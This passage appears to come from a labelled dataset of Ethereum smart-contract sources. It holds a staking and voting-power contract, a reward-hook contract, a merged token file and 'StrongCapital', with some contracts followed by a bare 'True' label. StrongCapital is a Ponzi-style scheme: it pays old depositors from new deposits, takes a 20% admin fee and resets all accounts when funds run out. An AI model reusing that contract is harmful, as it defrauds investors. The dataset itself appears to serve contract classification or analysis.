Requires: * - msg.sender must have tokens currently locked * - `subtractedValue` is greater than 0 * - cannot reduce the unlockedPerEpoch to 0 * * NOTE: As a side effect resets the baseTokensLocked and lockTime for msg.sender */ function decreaseUnlockAmount(uint256 subtractedValue) external; /** * @dev Increase the duration of the period at which tokens are unlocked by `addedValue` * this will have the net effect of slowing the rate at which tokens are unlocked * * Emits an {UpdateTokenLock} event indicating the updated terms of the token lockup. * * Requires: * - msg.sender must have tokens currently locked * - `addedValue` is greater than 0 * * NOTE: As a side effect resets the baseTokensLocked and lockTime for msg.sender */ function increaseUnlockTime(uint256 addedValue) external; /** * @dev Increase the number of tokens locked by `addedValue` * i.e. locks up more tokens. * * * Emits an {UpdateTokenLock} event indicating the updated terms of the token lockup. * * Requires: * - msg.sender must have tokens currently locked * - `addedValue` is greater than zero * - msg.sender must have sufficient unlocked tokens to lock * * NOTE: As a side effect resets the baseTokensLocked and lockTime for msg.sender * */ function increaseTokensLocked(uint256 addedValue) external; } struct Stake{ uint256 totalStake; mapping (address => uint256) stakedAmount; } /** * @dev Computes voting power based on staked and locked tokens. * The deployer is responsible for supplying a token_ implementing ERC20 and ILOCKER. * The deployer is trusted to know & have verified the token code token code is appropriate. * A scaling factor is specified as a uint8 array of bytes which serves to * reduce or increase the voting power of a class of token holder (locked tokens). * The scaling factor changes over time, and is looked up based on the current epoch */ contract VotingPower is ReentrancyGuard, ISTAKING{ //the token used for staking. Implements ILOCKER. It is trusted & known code. IERC20 immutable _token; //store the number of tokens staked by each address mapping (address => Stake) public stakes; //keep track of the sum of staked tokens uint256 private _totalStaked; using SafeERC20 for IERC20; //locked tokens have their voting power scaled by this percentage. bytes voteScalingPercent; //the time at which this contract was deployed (unix time) uint256 creationTime; //the time each voting epoch lasts in seconds uint256 epochLength; /** * @dev initialize the contract * @param token_ is the token that is staked or locked to get voting power * @param scaling_ is an array of uint8 (bytes) percent voting power discounts for each epoch * @param epoch_ is the duration of one epoch in seconds **/ constructor(address token_, bytes memory scaling_, uint256 epoch_){ require(epoch_ > 0); _token = IERC20(token_); creationTime = block.timestamp; voteScalingPercent = scaling_; epochLength = epoch_; } /** * @dev Returns the voting power for `who` * @param who the address whose votingPower to compute * @return the voting power for `who` **/ function votingPower(address who) public view returns (uint256) { return _votingPowerStaked(who) + _votingPowerLocked(who); } /** * @dev Returns the voting power for `who` due to staked tokens * @param who the address whose votingPower to compute * @return the voting power for who **/ function _votingPowerStaked(address who) internal view returns (uint256) { return stakes[who].totalStake; } /** * @dev Returns the voting power for `who` due to locked tokens * @param who the address whose votingPower to compute * @return the voting power for who * Locked tokens scaled discounted voting power as defined by voteScalingPercent **/ function _votingPowerLocked(address who) internal view returns (uint256) { uint256 epoch = _currentEpoch(); if(epoch >= voteScalingPercent.length){ return ITOKENLOCK(address(_token)).balanceLocked(who); } return ITOKENLOCK(address(_token)).balanceLocked(who) * (uint8)(voteScalingPercent[epoch])/100.0; } /** * @dev Returns the current epoch used to look up the scaling factor * @return the current epoch **/ function _currentEpoch() internal view returns (uint256) { return (block.timestamp - creationTime)/epochLength; } /** * @dev Stakes the specified `amount` of tokens, this will attempt to transfer the given amount from the caller. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. * Returns the number of tokens actually staked **/ function stake(uint256 amount) external override nonReentrant returns (uint256){ require(amount > 0, "Cannot Stake 0"); uint256 previousAmount = IERC20(_token).balanceOf(address(this)); _token.safeTransferFrom( msg.sender, address(this), amount); uint256 transferred = IERC20(_token).balanceOf(address(this)) - previousAmount; require(transferred > 0); stakes[msg.sender].totalStake = stakes[msg.sender].totalStake + transferred; stakes[msg.sender].stakedAmount[msg.sender] = stakes[msg.sender].stakedAmount[msg.sender] + transferred; _totalStaked = _totalStaked + transferred; emit Staked(msg.sender, msg.sender, msg.sender, transferred); return transferred; } /** * @dev Stakes the specified `amount` of tokens from `staker` on behalf of address `voter`, * this will attempt to transfer the given amount from the caller. * Must be called from an ISTAKINGPROXY contract that has been approved by `staker`. * Tokens will be staked towards the voting power of address `voter` allowing one address to delegate voting power to another. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. * Returns the number of tokens actually staked **/ function stakeFor(address voter, address staker, uint256 amount) external override nonReentrant returns (uint256){ require(amount > 0, "Cannot Stake 0"); uint256 previousAmount = IERC20(_token).balanceOf(address(this)); //_token.safeTransferFrom( msg.sender, address(this), amount); ISTAKINGPROXY(msg.sender).proxyTransfer(staker, amount); //verify that amount that the proxy contract transferred the amount uint256 transferred = IERC20(_token).balanceOf(address(this)) - previousAmount; require(transferred > 0); stakes[voter].totalStake = stakes[voter].totalStake + transferred; stakes[voter].stakedAmount[msg.sender] = stakes[voter].stakedAmount[msg.sender] + transferred; _totalStaked = _totalStaked + transferred; emit Staked(voter, staker, msg.sender, transferred); return transferred; } /** * @dev Unstakes the specified `amount` of tokens, this SHOULD return the given amount of tokens to the caller, * MUST trigger Unstaked event. */ function unstake(uint256 amount) external override nonReentrant{ require(amount > 0, "Cannot UnStake 0"); require(amount <= stakes[msg.sender].stakedAmount[msg.sender], "INSUFFICENT TOKENS TO UNSTAKE"); _token.safeTransfer( msg.sender, amount); stakes[msg.sender].totalStake = stakes[msg.sender].totalStake - amount; stakes[msg.sender].stakedAmount[msg.sender] = stakes[msg.sender].stakedAmount[msg.sender] - amount; _totalStaked = _totalStaked - amount; emit Unstaked(msg.sender,msg.sender, msg.sender, amount); } /** * @dev Unstakes the specified `amount` of tokens currently staked by `staker` on behalf of `voter`, * this SHOULD return the given amount of tokens to the calling contract * calling contract is responsible for returning tokens to `staker` if applicable. * MUST trigger Unstaked event. */ function unstakeFor(address voter, address staker, uint256 amount) external override nonReentrant{ require(amount > 0, "Cannot UnStake 0"); require(amount <= stakes[voter].stakedAmount[msg.sender], "INSUFFICENT TOKENS TO UNSTAKE"); //_token.safeTransfer( msg.sender, amount); _token.safeTransfer(staker, amount); stakes[voter].totalStake = stakes[voter].totalStake - amount; stakes[voter].stakedAmount[msg.sender] = stakes[voter].stakedAmount[msg.sender] - amount; _totalStaked = _totalStaked - amount; emit Unstaked(voter, staker, msg.sender, amount); } /** * @dev Returns the current total of tokens staked for address `addr`. */ function totalStakedFor(address addr) external override view returns (uint256){ return stakes[addr].totalStake; } /** * @dev Returns the current tokens staked by address `staker` for address `voter`. */ function stakedFor(address voter, address staker) external override view returns (uint256){ return stakes[voter].stakedAmount[staker]; } /** * @dev Returns the number of current total tokens staked. */ function totalStaked() external override view returns (uint256){ return _totalStaked; } /** * @dev address of the token being used by the staking interface */ function token() external override view returns (address){ return address(_token); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-25 */ // File: contracts\interfaces\IRewardHook.sol // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IRewardHook { function onRewardClaim() external; } // File: contracts\interfaces\IChef.sol pragma solidity 0.6.12; interface IChef { function userInfo(uint256 _pid, address _account) external view returns(uint256,uint256); function claim(uint256 _pid, address _account) external; function deposit(uint256 _pid, uint256 _amount) external; } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\ChefRewardHook.sol pragma solidity 0.6.12; //Receive rewards from chef for distribution to a pool contract ChefRewardHook is IRewardHook{ using SafeERC20 for IERC20; using SafeMath for uint256; IERC20 public constant rewardToken = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public constant chef = address(0x5F465e9fcfFc217c5849906216581a657cd60605); address public distributor; uint256 public pid; bool public isInit; //address to call for other reward pulls address public rewardHook; address public owner = address(0xa3C5A1e09150B75ff251c1a7815A07182c3de2FB); constructor() public {} function init(address _distributor, uint256 _pid, IERC20 dummyToken) external { require(!isInit,"already init"); isInit = true; distributor = _distributor; pid = _pid; uint256 balance = dummyToken.balanceOf(msg.sender); require(balance != 0, "Balance must exceed 0"); dummyToken.safeTransferFrom(msg.sender, address(this), balance); dummyToken.approve(chef, balance); IChef(chef).deposit(pid, balance); } function setRewardHook(address _hook) external{ require(msg.sender == owner, "!auth"); rewardHook = _hook; } function onRewardClaim() override external{ require(msg.sender == distributor,"!auth"); IChef(chef).claim(pid,address(this)); uint256 bal = rewardToken.balanceOf(address(this)); if(bal > 0){ rewardToken.safeTransfer(distributor,bal); } if(rewardHook != address(0)){ try IRewardHook(rewardHook).onRewardClaim(){ }catch{} } } }

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//StrongCapital v1.2.2 pragma solidity ^0.4.24; contract Capital { uint constant public CASH_BACK_PERCENT = 3; uint constant public PROJECT_FEE_PERCENT = 20; uint constant public PER_BLOCK = 48; uint constant public MINIMUM_INVEST = 10000000000000000 wei; uint public wave; address public owner; address public admin; address[] public addresses; bool public pause; mapping(address => Investor) public investors; TheStrongest public boss; modifier onlyOwner { require(owner == msg.sender); _; } struct Investor { uint ID; uint deposit; uint depositCount; uint blockNumber; address referrer; } struct TheStrongest { address addr; uint deposit; } constructor () public { owner = msg.sender; admin = msg.sender; addresses.length = 1; wave = 1; } function() payable public { if(owner == msg.sender){ return; } require(pause == false); require(msg.value == 0 || msg.value >= MINIMUM_INVEST); Investor storage user = investors[msg.sender]; if(user.ID == 0){ msg.sender.transfer(0 wei); user.ID = addresses.push(msg.sender); address referrer = bytesToAddress(msg.data); if (investors[referrer].deposit > 0 && referrer != msg.sender) { user.referrer = referrer; } } if(user.deposit != 0) { uint amount = getInvestorDividendsAmount(msg.sender); if(address(this).balance < amount){ pause = true; return; } msg.sender.transfer(amount); } admin.transfer(msg.value * PROJECT_FEE_PERCENT / 100); user.deposit += msg.value; user.depositCount += 1; user.blockNumber = block.number; uint bonusAmount = msg.value * CASH_BACK_PERCENT / 100; if (user.referrer != 0x0) { user.referrer.transfer(bonusAmount); if (user.depositCount == 1) { msg.sender.transfer(bonusAmount); } } else if (boss.addr > 0x0) { if(msg.sender != boss.addr){ if(user.deposit < boss.deposit){ boss.addr.transfer(bonusAmount); } } } if(user.deposit > boss.deposit) { boss = TheStrongest(msg.sender, user.deposit); } } function getInvestorCount() public view returns (uint) { return addresses.length - 1; } function getInvestorDividendsAmount(address addr) public view returns (uint) { uint amount = ((investors[addr].deposit * ((block.number - investors[addr].blockNumber) * PER_BLOCK)) / 10000000); return amount; } function Restart() private { address addr; for (uint256 i = addresses.length - 1; i > 0; i--) { addr = addresses[i]; addresses.length -= 1; delete investors[addr]; } pause = false; wave += 1; delete boss; } function payout() public { if (pause) { Restart(); return; } uint amount; for(uint256 i = addresses.length - 1; i >= 1; i--){ address addr = addresses[i]; amount = getInvestorDividendsAmount(addr); investors[addr].blockNumber = block.number; if (address(this).balance < amount) { pause = true; return; } addr.transfer(amount); } } function transferOwnership(address addr) onlyOwner public { owner = addr; } function bytesToAddress(bytes bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }

True

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/************************************************************************* * This contract has been merged with solidify * https://github.com/tiesnetwork/solidify *************************************************************************/ pragma solidity ^0.4.22; /************************************************************************* * import "zeppelin-solidity/contracts/math/SafeMath.sol" : start *************************************************************************/ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /************************************************************************* * import "zeppelin-solidity/contracts/math/SafeMath.sol" : end *************************************************************************/ /************************************************************************* * import "zeppelin-solidity/contracts/token/MintableToken.sol" : start *************************************************************************/ /************************************************************************* * import "./StandardToken.sol" : start *************************************************************************/ /************************************************************************* * import "./BasicToken.sol" : start *************************************************************************/ /************************************************************************* * import "./ERC20Basic.sol" : start *************************************************************************/ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /************************************************************************* * import "./ERC20Basic.sol" : end *************************************************************************/ /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /************************************************************************* * import "./BasicToken.sol" : end *************************************************************************/ /************************************************************************* * import "./ERC20.sol" : start *************************************************************************/ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /************************************************************************* * import "./ERC20.sol" : end *************************************************************************/ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /************************************************************************* * import "./StandardToken.sol" : end *************************************************************************/ /************************************************************************* * import "../ownership/Ownable.sol" : start *************************************************************************/ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. 